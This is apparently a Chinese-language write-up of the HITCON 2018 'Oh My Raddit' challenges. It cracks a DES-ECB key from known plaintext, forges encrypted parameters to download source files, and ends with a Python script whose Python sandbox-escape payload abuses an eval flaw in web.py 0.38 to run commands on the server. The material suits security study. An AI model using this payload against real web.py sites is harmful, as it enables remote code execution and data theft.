2018HITCON-Oh My Raddit&v2題解
題目提示, flag 為加密使用的金鑰,並且 hint 提示金鑰為小寫的( assert ENCRYPTION_KEY.islower() )。仔細觀察首頁上每個a標籤的連結,都是形如: ofollow,noindex">http://13.115.255.46/?s=一串16進位制數 ,而且這串16進位制數的長度剛好可以 被16整除 。16進位制解碼後就是一個8位元組字串,所以為8位元組分組加密。
點選每個連結後,響應狀態碼均為 303 ,會跳轉到相應的網站,而且不同長度的文章標題,對應的s引數值長度也不一樣,這說明文章標題可能加密後成為s引數值的一部分。
關於 DES 密碼,可以參閱《圖解密碼技術》中對其的描述:
那麼我們可以先找兩個有相同子串的標題,將他們對應的連結進行對比(每16個字元一組),找到相同子串對應的密文。如下圖,我找到兩個標題,都帶有 Bypassing W 子串。
由於 3882b1034e878984 後面就不一樣了,而相同的子串是 Bypassing W ,所以我們倒過來取8位元組,其值就是 3882b1034e878984 對應的明文資料,即: assing+W 對應密文 3882b1034e878984 (這裡注意空格需要經過url編碼變成+號)。那麼接下來我們就可以使用 hashcat 對資料進行破解,結果如下:(其中 617373696e672b57 為 assing+W 的16進位制值)
我們使用爆破出來的 ldgonaro 作為解密金鑰,對上面的 URL 進行解密,會發現當 URL 長度不是 8 的倍數時,需要在尾部填充資料,使其變成8的倍數。如果剛好是8的倍數,則在尾部 padding 8個 \x08 。
根據這個規則,我們嘗試構造連結,下載 app.py 檔案。
from Crypto.Cipher import DES key = 'ldgonaro' cipher = DES.new(key,DES.MODE_ECB) s1 = 'm=d&f=app.py\x04\x04\x04\x04' print(cipher.encrypt(s1).encode('hex')) # 執行結果:e2272b36277c708bc21066647bc214b8
然後我們訪問: http://13.115.255.46/?s=e2272b36277c708bc21066647bc214b8 就可以下載 app.py 檔案。可以在程式碼中看到真正使用的加密金鑰為: megnnaro ,所以flag為: hitcon{megnnaro}
# app.py # coding: UTF-8 import os import web import urllib import urlparse from Crypto.Cipher import DES web.config.debug = False ENCRPYTION_KEY = 'megnnaro' ..........
Oh My Raddit v2
根據題目提示: Give me SHELL!!! ,應該是考察程式碼執行。由上一題得到的 app.py 檔案,我們得知程式使用了 web.py 框架,直接google搜尋相關漏洞。
在文章: Remote Code Execution in Web.py framework 中,我們可以發現 web.py 框架存在程式碼執行漏洞。那麼我們可以先讀取一下題目的 requirements.txt 檔案,檢視 web.py 的版本。 requirements.txt 內容如下:
pycrypto==2.6.1 web.py==0.38
我們可以先安裝 0.38 版本的 web.py ,找到 reparam 方法的程式碼,發現這個版本只是禁用了內建方法,我們只需要繞過即可執行程式碼,繞過方法和平常做的python沙箱繞過差不多。 reparam 方法程式碼如下:
根據漏洞作者的描述, _where() 、 query() 、 gen_clause() 這三個方法均呼叫了 reparam 方法。通過觀察 app.py 程式和 db.py 程式,我們會發現 db.py 程式中的 select 呼叫了 gen_clause() 方法。 app.py 程式中呼叫過程如下:
get_posts() =====> db.select() =====> db.gen_clause() =====> reparam()
我們繼續觀察 app.py 程式,發現有如下兩處可以利用,但是進一步分析會發現,只有第二處可以利用。
我們先來分析上圖第一處疑似可利用點。該處的 uid 是通過使用者傳遞的 u 引數來確定的,並且最後會用在 where 關鍵詞的後面,我們跟進到 db.py 程式中:
繼續跟進 reparam 方法,可以看到使用者控制的欄位最終會傳入 dictionary ,然後作為 eval 函式的 global 屬性的值,所以最終不會被執行。( eval(expression, globals=None, locals=None) )
我們再來看第二處可利用點。這處可控的是 limit 欄位,最終會傳到 chunk 中作為 eval 的第一個引數執行,最終導致程式碼執行。整個傳遞過程如下:
根據上面的分析,寫出如下 python 程式:
import requests from Crypto.Cipher import DES def encrypt(s): key = 'ldgonaro' cipher = DES.new(key,DES.MODE_ECB) length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length return cipher.encrypt(s).encode('hex') s1 = "m=p&l=${[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('/read_flag > /tmp/flag')}" s2 = 'm=d&f=/tmp/flag' url = "http://13.115.255.46/?s=" r1 = requests.get(url = url + encrypt(s1)) r2 = requests.get(url = url + encrypt(s2))